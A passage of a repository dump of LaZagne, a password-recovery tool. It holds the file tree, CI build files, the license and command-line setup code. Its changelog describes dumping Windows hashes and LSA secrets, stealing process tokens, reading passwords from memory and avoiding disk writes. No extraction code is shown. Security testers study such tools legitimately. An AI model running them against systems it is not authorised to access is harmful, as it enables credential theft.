Repository: AlessandroZ/LaZagne Branch: master Commit: 858ff6f95f51 Files: 262 Total size: 1.5 MB Directory structure: gitextract_rh6z8oxz/ ├── .github/ │ └── workflows/ │ ├── WinCompile.yml │ └── lint_python.yml ├── .gitignore ├── .travis.yml ├── CHANGELOG ├── LICENSE ├── Linux/ │ ├── hook-sys.py │ ├── laZagne.py │ ├── lazagne/ │ │ ├── __init__.py │ │ ├── config/ │ │ │ ├── __init__.py │ │ │ ├── constant.py │ │ │ ├── crypto/ │ │ │ │ ├── __init__.py │ │ │ │ ├── pbkdf2.py │ │ │ │ ├── pyDes.py │ │ │ │ └── pyaes/ │ │ │ │ ├── __init__.py │ │ │ │ ├── aes.py │ │ │ │ ├── blockfeeder.py │ │ │ │ └── util.py │ │ │ ├── dico.py │ │ │ ├── homes.py │ │ │ ├── lib/ │ │ │ │ ├── __init__.py │ │ │ │ └── memorpy/ │ │ │ │ ├── Address.py │ │ │ │ ├── BaseProcess.py │ │ │ │ ├── LinProcess.py │ │ │ │ ├── LinStructures.py │ │ │ │ ├── Locator.py │ │ │ │ ├── MemWorker.py │ │ │ │ ├── OSXProcess.py │ │ │ │ ├── Process.py │ │ │ │ ├── SunProcess.py │ │ │ │ ├── WinProcess.py │ │ │ │ ├── WinStructures.py │ │ │ │ ├── __init__.py │ │ │ │ ├── structures.py │ │ │ │ ├── utils.py │ │ │ │ ├── version.py │ │ │ │ └── wintools.py │ │ │ ├── manage_modules.py │ │ │ ├── module_info.py │ │ │ ├── run.py │ │ │ ├── soft_import_module.py │ │ │ └── write_output.py │ │ └── softwares/ │ │ ├── __init__.py │ │ ├── browsers/ │ │ │ ├── __init__.py │ │ │ ├── chromium_based.py │ │ │ ├── chromium_browsers.py │ │ │ ├── firefox_browsers.py │ │ │ ├── mozilla.py │ │ │ └── opera.py │ │ ├── chats/ │ │ │ ├── __init__.py │ │ │ ├── pidgin.py │ │ │ └── psi.py │ │ ├── databases/ │ │ │ ├── __init__.py │ │ │ ├── dbvis.py │ │ │ ├── sqldeveloper.py │ │ │ └── squirrel.py │ │ ├── git/ │ │ │ ├── __init__.py │ │ │ └── gitforlinux.py │ │ ├── mails/ │ │ │ ├── __init__.py │ │ │ ├── clawsmail.py │ │ │ └── thunderbird_mails.py │ │ ├── memory/ │ │ │ ├── __init__.py │ │ │ ├── memorydump.py │ │ │ └── mimipy.py │ │ ├── sysadmin/ │ │ │ ├── __init__.py │ │ │ ├── apachedirectorystudio.py │ │ │ ├── aws.py │ │ │ ├── cli.py │ │ │ ├── docker.py │ │ │ ├── env_variable.py │ │ │ ├── filezilla.py │ │ │ ├── fstab.py │ │ │ ├── gftp.py │ │ │ ├── grub.py │ │ │ ├── keepassconfig.py │ │ │ ├── rclone.py │ │ │ ├── shadow.py │ │ │ └── ssh.py │ │ ├── wallet/ │ │ │ ├── __init__.py │ │ │ ├── kde.py │ │ │ └── libsecret.py │ │ └── wifi/ │ │ ├── __init__.py │ │ ├── wifi.py │ │ └── wpa_supplicant.py │ └── lazagne.spec ├── Mac/ │ ├── hook-sys.py │ ├── laZagne.py │ ├── lazagne/ │ │ ├── __init__.py │ │ ├── config/ │ │ │ ├── __init__.py │ │ │ ├── constant.py │ │ │ ├── crypto/ │ │ │ │ ├── __init__.py │ │ │ │ ├── pyDes.py │ │ │ │ └── pyaes/ │ │ │ │ ├── __init__.py │ │ │ │ ├── aes.py │ │ │ │ ├── blockfeeder.py │ │ │ │ └── util.py │ │ │ ├── dico.py │ │ │ ├── manage_modules.py │ │ │ ├── module_info.py │ │ │ ├── run.py │ │ │ ├── soft_import_module.py │ │ │ └── write_output.py │ │ └── softwares/ │ │ ├── __init__.py │ │ ├── browsers/ │ │ │ ├── __init__.py │ │ │ ├── chrome.py │ │ │ ├── firefox_browsers.py │ │ │ └── mozilla.py │ │ ├── mails/ │ │ │ ├── __init__.py │ │ │ └── thunderbird.py │ │ └── system/ │ │ ├── __init__.py │ │ ├── chainbreaker.py │ │ ├── chainbreaker_module/ │ │ │ ├── Schema.py │ │ │ ├── __init__.py │ │ │ ├── chainbreaker.py │ │ │ └── pbkdf2.py │ │ ├── hashdump.py │ │ └── system.py │ └── lazagne.spec ├── README.md ├── Windows/ │ ├── hook-sys.py │ ├── laZagne.py │ ├── lazagne/ │ │ ├── __init__.py │ │ ├── config/ │ │ │ ├── DPAPI/ │ │ │ │ ├── __init__.py │ │ │ │ ├── blob.py │ │ │ │ ├── credfile.py │ │ │ │ ├── credhist.py │ │ │ │ ├── crypto.py │ │ │ │ ├── eater.py │ │ │ │ ├── masterkey.py │ │ │ │ ├── system.py │ │ │ │ └── vault.py │ │ │ ├── __init__.py │ │ │ ├── change_privileges.py │ │ │ ├── constant.py │ │ │ ├── crypto/ │ │ │ │ ├── __init__.py │ │ │ │ ├── md4.py │ │ │ │ ├── pyDes.py │ │ │ │ ├── pyaes/ │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── aes.py │ │ │ │ │ ├── blockfeeder.py │ │ │ │ │ └── util.py │ │ │ │ └── rc4.py │ │ │ ├── dico.py │ │ │ ├── dpapi_structure.py │ │ │ ├── execute_cmd.py │ │ │ ├── lib/ │ │ │ │ ├── __init__.py │ │ │ │ └── memorpy/ │ │ │ │ ├── Address.py │ │ │ │ ├── BaseProcess.py │ │ │ │ ├── LinProcess.py │ │ │ │ ├── LinStructures.py │ │ │ │ ├── Locator.py │ │ │ │ ├── MemWorker.py │ │ │ │ ├── OSXProcess.py │ │ │ │ ├── Process.py │ │ │ │ ├── SunProcess.py │ │ │ │ ├── WinProcess.py │ │ │ │ ├── WinStructures.py │ │ │ │ ├── __init__.py │ │ │ │ ├── structures.py │ │ │ │ ├── utils.py │ │ │ │ ├── version.py │ │ │ │ └── wintools.py │ │ │ ├── manage_modules.py │ │ │ ├── module_info.py │ │ │ ├── run.py │ │ │ ├── soft_import_module.py │ │ │ ├── users.py │ │ │ ├── winstructure.py │ │ │ └── write_output.py │ │ └── softwares/ │ │ ├── __init__.py │ │ ├── browsers/ │ │ │ ├── __init__.py │ │ │ ├── chromium_based.py │ │ │ ├── chromium_browsers.py │ │ │ ├── firefox_browsers.py │ │ │ ├── ie.py │ │ │ ├── mozilla.py │ │ │ └── ucbrowser.py │ │ ├── chats/ │ │ │ ├── __init__.py │ │ │ ├── pidgin.py │ │ │ ├── psi.py │ │ │ └── skype.py │ │ ├── databases/ │ │ │ ├── __init__.py │ │ │ ├── dbvis.py │ │ │ ├── postgresql.py │ │ │ ├── robomongo.py │ │ │ ├── sqldeveloper.py │ │ │ └── squirrel.py │ │ ├── games/ │ │ │ ├── __init__.py │ │ │ ├── galconfusion.py │ │ │ ├── kalypsomedia.py │ │ │ ├── roguestale.py │ │ │ └── turba.py │ │ ├── git/ │ │ │ ├── __init__.py │ │ │ └── gitforwindows.py │ │ ├── mails/ │ │ │ ├── __init__.py │ │ │ ├── outlook.py │ │ │ └── thunderbird_mails.py │ │ ├── maven/ │ │ │ ├── __init__.py │ │ │ └── mavenrepositories.py │ │ ├── memory/ │ │ │ ├── __init__.py │ │ │ ├── keepass.py │ │ │ ├── keethief.py │ │ │ ├── libkeepass/ │ │ │ │ ├── __init__.py │ │ │ │ ├── common.py │ │ │ │ ├── crypto.py │ │ │ │ ├── hbio.py │ │ │ │ ├── kdb4.py │ │ │ │ └── pureSalsa20.py │ │ │ ├── memorydump.py │ │ │ └── onepassword.py │ │ ├── multimedia/ │ │ │ ├── __init__.py │ │ │ └── eyecon.py │ │ ├── php/ │ │ │ ├── __init__.py │ │ │ └── composer.py │ │ ├── svn/ │ │ │ ├── __init__.py │ │ │ └── tortoise.py │ │ ├── sysadmin/ │ │ │ ├── __init__.py │ │ │ ├── apachedirectorystudio.py │ │ │ ├── coreftp.py │ │ │ ├── cyberduck.py │ │ │ ├── d3des.py │ │ │ ├── filezilla.py │ │ │ ├── filezillaserver.py │ │ │ ├── ftpnavigator.py │ │ │ ├── iisapppool.py │ │ │ ├── iiscentralcertp.py │ │ │ ├── keepassconfig.py │ │ │ ├── mRemoteNG.py │ │ │ ├── opensshforwindows.py │ │ │ ├── openvpn.py │ │ │ ├── puttycm.py │ │ │ ├── rclone.py │ │ │ ├── rdpmanager.py │ │ │ ├── unattended.py │ │ │ ├── vnc.py │ │ │ ├── winscp.py │ │ │ └── wsl.py │ │ ├── wifi/ │ │ │ ├── __init__.py │ │ │ └── wifi.py │ │ └── windows/ │ │ ├── __init__.py │ │ ├── autologon.py │ │ ├── cachedump.py │ │ ├── creddump7/ │ │ │ ├── __init__.py │ │ │ ├── addrspace.py │ │ │ ├── newobj.py │ │ │ ├── object.py │ │ │ ├── types.py │ │ │ └── win32/ │ │ │ ├── __init__.py │ │ │ ├── domcachedump.py │ │ │ ├── hashdump.py │ │ │ ├── lsasecrets.py │ │ │ └── rawreg.py │ │ ├── credfiles.py │ │ ├── credman.py │ │ ├── hashdump.py │ │ ├── lsa_secrets.py │ │ ├── ppypykatz.py │ │ ├── vault.py │ │ ├── vaultfiles.py │ │ └── windows.py │ └── lazagne.spec └── requirements.txt ================================================ FILE CONTENTS ================================================ ================================================ FILE: .github/workflows/WinCompile.yml ================================================ name: Build and Upload LaZagne Release on: push: tags: - 'v*' # Matches tags like v1.0, v20.15.10 jobs: build: runs-on: windows-latest steps: - uses: actions/checkout@v2 - name: Set up Python 3.11 uses: actions/setup-python@v4 with: python-version: 3.11 - name: Install Dependencies run: | pip install -r requirements.txt - name: Build Executable with PyInstaller run: | cd Windows pyinstaller lazagne.spec - name: Create Release id: create_release uses: actions/create-release@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: tag_name: ${{ github.ref }} release_name: Release ${{ github.ref }} draft: false prerelease: false - name: Upload Release Asset id: upload-release-asset uses: actions/upload-release-asset@v1 env: GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} with: upload_url: ${{ steps.create_release.outputs.upload_url }} asset_path: Windows/dist/lazagne.exe asset_name: LaZagne.exe asset_content_type: application/octet-stream ================================================ FILE: .github/workflows/lint_python.yml ================================================ name: lint_python on: [pull_request, push] jobs: lint_python: runs-on: ubuntu-latest steps: - uses: actions/checkout@v3 - uses: actions/setup-python@v4 with: python-version: 3.x - run: pip install --upgrade pip setuptools wheel - run: pip install bandit black codespell flake8 flake8-2020 flake8-bugbear flake8-comprehensions isort mypy pytest pyupgrade - run: bandit --recursive --skip B101,B105,B106,B108,B110,B112,B303,B311,B314,B318,B324,B404,B405,B408,B413,B602,B603,B605,B607,B608 . - run: black --check . || true - run: codespell || true # --ignore-words-list="" --skip="*.css,*.js,*.lock" - run: flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics - run: flake8 . --count --exit-zero --max-complexity=10 --max-line-length=88 --show-source --statistics - run: isort --check-only --profile black . || true - run: pip install -r requirements.txt - run: mkdir --parents --verbose .mypy_cache - run: mypy --ignore-missing-imports --install-types --non-interactive . || true - run: pytest . || pytest --doctest-modules . || true - run: shopt -s globstar && pyupgrade --py36-plus **/*.py || true # - run: safety check ================================================ FILE: .gitignore ================================================ .idea *.pyc venv .DS_Store ================================================ FILE: .travis.yml ================================================ os: linux dist: focal language: python lint_steps: &lint_steps before_install: - pip install --upgrade pip - pip install flake8 script: flake8 . --count --select=E9,F63,F72,F82 --show-source --statistics jobs: include: - name: "Test and deploy on Python 2.7" dist: xenial # Wine is not ready for Ubuntu bionic or focal python: '2.7' - name: "Build on Python 2.7 on macOS" os: osx language: shell # 'language: python' is not yet supported on Travis CI macOS before_install: - python -m pip install --upgrade pip - pip install "pyinstaller<4.0" -r requirements.txt # v4.0 drops support for legacy Python script: - pyinstaller --onefile Mac/laZagne.py - ls -l dist # See file size (4.8 mb), etc. - dist/laZagne all - name: "Lint on Python 2.7" python: '2.7' <<: *lint_steps - name: "Lint on Python 3.8" python: '3.8' <<: *lint_steps before_install: - sudo add-apt-repository ppa:ubuntu-wine/ppa -y - sudo apt-get update -qq - sudo apt-get install -qq wine - wget https://www.python.org/ftp/python/2.7.16/python-2.7.16.amd64.msi --output-document=python.msi - wine msiexec /i python.msi /qn - wget https://files.pythonhosted.org/packages/83/cc/2e39fa39b804f7b6e768a37657d75eb14cd917d1f43f376dad9f7c366ccf/pywin32-224-cp27-cp27m-win_amd64.whl --output-document=pywin32-224-cp27-none-win_amd64.whl - wine c:\\Python27\\python.exe -m pip install pywin32-224-cp27-none-win_amd64.whl - wine c:\\Python27\\python.exe -m pip install "pyinstaller<4.0" -r requirements.txt - wine c:\\Python27\\Scripts\\pyinstaller --noconsole --onefile Windows/lazagne.spec - ls -l dist # See file size (4.8 mb), etc. install: true # do not repeat `pip install -r requirements.txt` script: - wine Z:\\home\\travis\\build\\AlessandroZ\\LaZagne\\dist\\laZagne.exe all before_deploy: - tar -zcvf lazagne.tar.gz dist/lazagne.exe deploy: provider: releases skip_cleanup: true overwrite: true api_key: secure: TDw9TTOMSJ+zMOVVrEcCCKG+6eDzrfOPz3dUN6EM0QgDZ0gstsf3T24JIV0wsZQYwY5ceYBlZu33/6Rb62b8U/tOaZXYSy9LWmFzqSRH15RvLBBA+2PtbojYNZw1YymGSiG2GBuNHu0VlkDvR/ogTvJ8lY731MPdxUdXibJMfsBVcoKped0ss+cXsKZV0C8FYz3RU6EJsx0oDLHJmLn30Lji1DA7nTO/SJ5AX6ZD7Qp34/YlwkWdih/x0v8uYUfqsiuqNhmfVcheJua7JaFlfwuJj1IDT0UDVaFQn+xkxkK+Bn+h7qjOUOKYzUEfxh78Q6iDd1YtCETR0NPTlNeDDv6LfJoP9gsE68WWBAFhijnRvF084yN1ciQ1Ch+hITANgpcF2cmMg8Tu+YLeYDWfLi8/G7u4TYAQ7Pmvce6PweP9sQ6WGvsC2H+6xNEAjMCdMoCldPfaDdGprIGtx3DD8NyqyVL6S31HkJ5gcPUcarqjGvUVWETkVUVuAQp9pgdYyx52SHifB0tbvie9NkjVdRjBCy3Oxp5bZvdzj19bAEGWu6QFwZibAtHXDq6IdsmKefktrUQd5QUbx0/Y0gpnMuD5ghSoUVdxA9FY8CyD853R13nMLJN5LedV6TFjx/8DgHRIATBSoiLi8L6/fdZAG0yeH/lBcqbLfTM6tLS5HBo= file: - dist/lazagne.exe - lazagne.tar.gz on: tags: true all_branches: true repo: AlessandroZ/LaZagne ================================================ FILE: CHANGELOG ================================================ LaZagne 2.4 - Windows / Linux / Mac * Big code review and lots of bug fixed * PEP8 Style (thanks to @ingested) * Pycrypto denpendency removed - Linux * Work with Python 3 * Removing external libs to decrypt KDE secrets (only use dbus) * Bug fix - Windows * Adding pypykatz module - awesome work from @skelsec - https://github.com/skelsec/pypykatz * Adding VNC module - thanks to @aldorm * Manage more than 26 different browsers now (thanks to @ingested) * Removing construct on DPAPI function (lots of bug fix on DPAPI as well) * Removing psutil dependency LaZagne 2.3.2 (22/03/2018) - Windows * Big code review * Lots of minor bug fixed * If windows user password found => domain passwords retrieved from credentials files * If windows user password not found => DPAPI hash printed to bruteforce with john or hashcat (no admin privilege required) * New modules added postgresql and psi-im (thanks to @m41nt41n3r) * XP managed * Adding support for newest firefox version. Awesome work from lclevy: https://github.com/lclevy/firepwd * Adding Wdigest passwords (using mimikatz signature) * Works on Vista / Win7 x86 and x64 * Thanks to * n1nj4sec for https://github.com/n1nj4sec/memorpy/ * Francesco Picasso for https://github.com/RealityNet/hotoloti/blob/master/volatility/mimikatz.py * Note: right now, LaZagne x86 cannot read memory from a x64 process (so some modules cannot work using this build such as wdigest passwords) * That's why, two lazagne binaries have been built (x86 and x64). - Linux * Big code review * Lots of minor bug fixed * Adding support for newest firefox version. Awesome work from lclevy: https://github.com/lclevy/firepwd LaZagne 2.3.1 (18/10/2017) - Only Windows * Fix unicode issue (#154) * Print less local output when a specific drive has been choosed (#156) LaZagne 2.3 (31/08/2017) - Only Windows * Bug "UnicodeDecodeError" resolved (#134) * Support many alphabets (for chinese, russian, ... passwords) * Well managed when password are written to files (Lazagne.exe all -oA), not always correct when printed on the console (depend on the system encoding) * New module added * CocCoc browser supported (#141) * Quiet mode added to not print anything on the console (#140) => lazagne.exe all -quiet * Retrieve passwords from another drive (#142) => lazagne all -drive D * lsa secrets are well written on files (when -oA, -oJ or -oN options are used) LaZagne 2.2 (17/05/2017) - Only Windows * Bug correction: #118 LaZagne 2.1 (28/04/2017) - Only Windows * Removing many dependencies (win32api, win32crypt, win32xxx, colorama, etc.) using ctypes * Adding little modules * Retrieve passwords when autologon is enabled * Retrieve passwords stored in unattended files * Using creddump to retrieve system hashes + LSA secrets * Retrieve chrome passwords from multiple profiles * Little bugs fixed + some code review - Linux * Adding mimipy module from n1nj4sec (https://github.com/n1nj4sec/mimipy) to retrieve the system password from memory (need root privileges) LaZagne 2.0 (20/12/2016) - Only Windows: * Only one process is launched (impersonnation is done using "ImpersonateLoggedOnUser" and no more "CreateProcessAsUser") * No more temporary files written on the disk * Uses of powerdump from empire (thanks to adaptivethreat) to avoid writing hives on the disk (avoid "reg save ...") * Better way to catch errors * Json fixes (output to be more "human readable" + error encoding) * Code cleaned * New category added called "memory": used to retrieve password in memory * KeeThief added (thanks to adaptivethreat) - retrieve keepass (version 2.x) password from memory * Powershell code used from https://github.com/adaptivethreat/KeeThief/ * Browser passwords present in memory could be retrieved * Thanks to n1nj4sec for his awesome project "memorpy" * https://github.com/n1nj4sec/memorpy * New category added called "php": * New module "PHP Composer" (thanks to righettod => https://github.com/righettod) LaZagne 1.8 (15/11/2016) - Only Windows: * Lots of minor bugs fixed * Firefox * when many profiles used (thanks to Aorimn) or when profiles.ini is corrupted * IE: retrieving historic list or windows vault * Writing json file * etc... LaZagne 1.7 (11/09/2016) - Only Windows: * New modules (thanks to righettod => https://github.com/righettod): * Robomongo - MongoDB client * Internet Explorer bug fix (for windows 7) LaZagne 1.6 (05/09/2016) - Only Windows: * Internet Explorer history retrieved using powershell - no more dll written on the disk (all in memory) * Internet Explorer passwords stored in the credential manager retrieved (for Win8 and higher) * Wifi bug fixed LaZagne 1.5 (01/08/2016) - Only Windows: * New modules (thanks to righettod => https://github.com/righettod): * Maven java build tool * Apache Directory Studio * "OpenSSH" application LaZagne 1.4 (21/07/2016) - Only Windows: * New module: Git for Windows (thanks to righettod => https://github.com/righettod) LaZagne 1.3 (02/07/2016) - Only Windows See "User impersonnation" in README for more information * User impersonation (high privileges needed) * Stealing user process token (when other user processes are running on the system) * All credentials can be retrieved (Chrome, Firefox, etc.) * Browsing file system (ex: C:\Users\\...) * Only software's passwords which do not use Windows API to encrypt it, can be retrieved (Firefox, Jitsi, Pidgin, etc.). * Json output has been implemented (txt output is still present with the options -oN) * Lazagne all -oJ => Json output * Standalone lighter (from 18 Mo to 6 Mo) => Thanks to the new version of Pyinstaller * Fix some bugs LaZagne 1.1 (22/10/2015) - Only Windows * New category: games (Thanks to David Lodge) * Galcon Fusion * Kalypso Media Launcher * Rogue's Tale * Turba LaZagne 1.0 (04/10/2015) - Only Windows * Fix chrome database locked * Fix windows secrets bug * Fix opera bug - For Linux * Fix opera bug LaZagne 0.9.1 (09/07/2015) - Only Windows * Fix mastepassword check error - mozilla * Fix database error - mozilla - For Linux * Fix encoding error LaZagne 0.9 (01/07/2015) - Only Windows * Fix Opera bug (thanks to rolandstarke) * Fix encoding error for generic network passwords - For Windows / Linux * Version number available from the main menu (before: Lazagne all --version => now: Lazagne --version) * spelling mistake corrected LaZagne 0.8 (11/06/2015) - Only Linux * /etc/shadow modules (dictionary attack on hash) - For Windows / Linux * Management of the following options "-path" (for dictionary attack) and "-b" (for bruteforce attack) in a different way. Used as general options and not implemented by module. Using the same option, the file will be used by different modules; example: to find the mozilla masterpassword, the unix system password (from the hash), used by skype (for windows), etc. LaZagne 0.71 (04/06/2015) - Only Linux * Wifi password module from WPA Supplicant implemented (by rpesche) LaZagne 0.7 (29/05/2015) - For Windows / Linux * Fix mozilla bug (special characters were not printed) LaZagne 0.6 (26/05/2015) - For Windows / Linux * Firefox / Thunderbird: No more dependency with nss library (many thanks to Laurent Clevy for its awesome technic: https://github.com/lclevy/firepwd) * Fix opera bug - Only Windows * WinSCP false positive removed (when SSH key is used) LaZagne 0.5 (21/05/2015) - For Windows * Fix chrome bug LaZagne 0.5 (20/05/2015) - For Windows / Linux * 2 levels of verbosity added for debugs * try / except more verbose depending on the verbosity levels * dico file moved from browsers to config repository (used for dictionary attack) * new Filezilla versions managed - Only Windows * check weak passwords (logins equal to password) for windows account when hashes (nthash) have been found * function to write the output modified on windows module * WConio replaced by colorama for the window color * Skype: try a dictionary attack (500 famous password) when the hash has been retrieved LaZagne 0.4 (12/05/2015) - For Linux * Kwallet module implemented (by quentin hardy) LaZagne 0.4 (05/05/2015) - For Windows * Fix ie bugs * Fix thunderbird bug LaZagne 0.3 (30/04/2015) - For Windows * Flexibility on the code: much more easy to add modules * Passwords found previously are used to test firefox masterpassword if set - For Linux * Flexibility on the code: much more easy to add modules * Passwords found previously are used to test firefox masterpassword if set * 2 different standalones (32 bits / 64 bits) LaZagne 0.2 (27/04/2015) - For Windows * New modules: Windows hashes + LSA Secrets * Passwords found previously are used to test windows hashes and firefox masterpassword * 500 most famous passwords are used to retrieve the windows password (once we get the hashes) * Wifi bug fixed: only one password was printed * I.E bug fixed ================================================ FILE: LICENSE ================================================ GNU LESSER GENERAL PUBLIC LICENSE Version 3, 29 June 2007 Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. This version of the GNU Lesser General Public License incorporates the terms and conditions of version 3 of the GNU General Public License, supplemented by the additional permissions listed below. 0. Additional Definitions. As used herein, "this License" refers to version 3 of the GNU Lesser General Public License, and the "GNU GPL" refers to version 3 of the GNU General Public License. "The Library" refers to a covered work governed by this License, other than an Application or a Combined Work as defined below. An "Application" is any work that makes use of an interface provided by the Library, but which is not otherwise based on the Library. Defining a subclass of a class defined by the Library is deemed a mode of using an interface provided by the Library. A "Combined Work" is a work produced by combining or linking an Application with the Library. The particular version of the Library with which the Combined Work was made is also called the "Linked Version". The "Minimal Corresponding Source" for a Combined Work means the Corresponding Source for the Combined Work, excluding any source code for portions of the Combined Work that, considered in isolation, are based on the Application, and not on the Linked Version. The "Corresponding Application Code" for a Combined Work means the object code and/or source code for the Application, including any data and utility programs needed for reproducing the Combined Work from the Application, but excluding the System Libraries of the Combined Work. 1. Exception to Section 3 of the GNU GPL. You may convey a covered work under sections 3 and 4 of this License without being bound by section 3 of the GNU GPL. 2. Conveying Modified Versions. If you modify a copy of the Library, and, in your modifications, a facility refers to a function or data to be supplied by an Application that uses the facility (other than as an argument passed when the facility is invoked), then you may convey a copy of the modified version: a) under this License, provided that you make a good faith effort to ensure that, in the event an Application does not supply the function or data, the facility still operates, and performs whatever part of its purpose remains meaningful, or b) under the GNU GPL, with none of the additional permissions of this License applicable to that copy. 3. Object Code Incorporating Material from Library Header Files. The object code form of an Application may incorporate material from a header file that is part of the Library. You may convey such object code under terms of your choice, provided that, if the incorporated material is not limited to numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following: a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the object code with a copy of the GNU GPL and this license document. 4. Combined Works. You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following: a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the Combined Work with a copy of the GNU GPL and this license document. c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document. d) Do one of the following: 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source. 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version. e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.) 5. Combined Libraries. You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License. b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 6. Revised Versions of the GNU Lesser General Public License. The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation. If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library. ================================================ FILE: Linux/hook-sys.py ================================================ from lazagne.config.manage_modules import get_modules_names from lazagne.softwares.browsers.chromium_browsers import chromium_based_module_location from lazagne.softwares.browsers.firefox_browsers import mozilla_module_location all_hidden_imports_module_names = get_modules_names() + [mozilla_module_location, chromium_based_module_location] hiddenimports = [package_name for package_name, module_name in all_hidden_imports_module_names] if __name__ == "__main__": print("\r\n".join(hiddenimports)) ================================================ FILE: Linux/laZagne.py ================================================ #!/usr/bin/env python # -*- encoding: utf-8 -*- ############################################################################## # # # By Alessandro ZANNI # # # ############################################################################## # Disclaimer: Do Not Use this program for illegal purposes ;) import sys import os import argparse import logging from lazagne.config.write_output import write_in_file, StandardOutput from lazagne.config.manage_modules import get_categories from lazagne.config.constant import constant from lazagne.config.run import create_module_dic, run_lazagne import time constant.st = StandardOutput() # Object used to manage the output / write functions (cf write_output file) modules = create_module_dic() def output(output_dir=None, txt_format=False, json_format=False, all_format=False): if output_dir: if os.path.isdir(output_dir): constant.folder_name = output_dir else: print('[!] Specify a directory, not a file !') if txt_format: constant.output = 'txt' if json_format: constant.output = 'json' if all_format: constant.output = 'all' if constant.output: if not os.path.exists(constant.folder_name): os.makedirs(constant.folder_name) # constant.file_name_results = 'credentials' # let the choice of the name to the user if constant.output != 'json': constant.st.write_header() def quiet_mode(is_quiet_mode=False): if is_quiet_mode: constant.quiet_mode = True def verbosity(verbose=0): # Write on the console + debug file if verbose == 0: level = logging.CRITICAL elif verbose == 1: level = logging.INFO elif verbose >= 2: level = logging.DEBUG formatter = logging.Formatter(fmt='%(message)s') stream = logging.StreamHandler(sys.stdout) stream.setFormatter(formatter) root = logging.getLogger() root.setLevel(level) # If other logging are set for r in root.handlers: r.setLevel(logging.CRITICAL) root.addHandler(stream) def clean_args(arg): """ Remove not necessary values to get only subcategories """ for i in ['output', 'write_normal', 'write_json', 'write_all', 'verbose', 'auditType', 'quiet']: try: del arg[i] except Exception: pass return arg def runLaZagne(category_selected='all', subcategories={}): """ This function will be removed, still there for compatibility with other tools Everything is on the config/run.py file """ for pwd_dic in run_lazagne(category_selected=category_selected, subcategories=subcategories): yield pwd_dic if __name__ == '__main__': parser = argparse.ArgumentParser(description=constant.st.banner, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('--version', action='version', version='Version ' + str(constant.CURRENT_VERSION), help='laZagne version') # ------------------------------------------- Permanent options ------------------------------------------- # Version and verbosity PPoptional = argparse.ArgumentParser( add_help=False, formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.max_help)) PPoptional._optionals.title = 'optional arguments' PPoptional.add_argument('-v', dest='verbose', action='count', default=0, help='increase verbosity level') PPoptional.add_argument('-quiet', dest='quiet', action='store_true', default=False, help='quiet mode: nothing is printed to the output') # Output PWrite = argparse.ArgumentParser( add_help=False, formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.max_help) ) PWrite._optionals.title = 'Output' PWrite.add_argument('-oN', dest='write_normal', action='store_true', default=None, help='output file in a readable format') PWrite.add_argument('-oJ', dest='write_json', action='store_true', default=None, help='output file in a json format') PWrite.add_argument('-oA', dest='write_all', action='store_true', default=None, help='output file in all format') PWrite.add_argument('-output', dest='output', action='store', default='.', help='destination path to store results (default:.)') # -------------------------------- Add options and suboptions to all modules ------------------------ all_subparser = [] all_categories = get_categories() for c in all_categories: all_categories[c]['parser'] = argparse.ArgumentParser( add_help=False, formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.max_help)) all_categories[c]['parser']._optionals.title = all_categories[c]['help'] # Manage options all_categories[c]['subparser'] = [] for module in modules[c]: m = modules[c][module] all_categories[c]['parser'].add_argument(m.options['command'], action=m.options['action'], dest=m.options['dest'], help=m.options['help']) # Manage all sub options by modules if m.suboptions: tmp = [] for sub in m.suboptions: tmp_subparser = argparse.ArgumentParser( add_help=False, formatter_class=lambda prog: argparse.HelpFormatter( prog, max_help_position=constant.max_help ) ) tmp_subparser._optionals.title = sub['title'] if 'type' in sub: tmp_subparser.add_argument(sub['command'], type=sub['type'], action=sub['action'], dest=sub['dest'], help=sub['help']) else: tmp_subparser.add_argument(sub['command'], action=sub['action'], dest=sub['dest'], help=sub['help']) tmp.append(tmp_subparser) all_subparser.append(tmp_subparser) 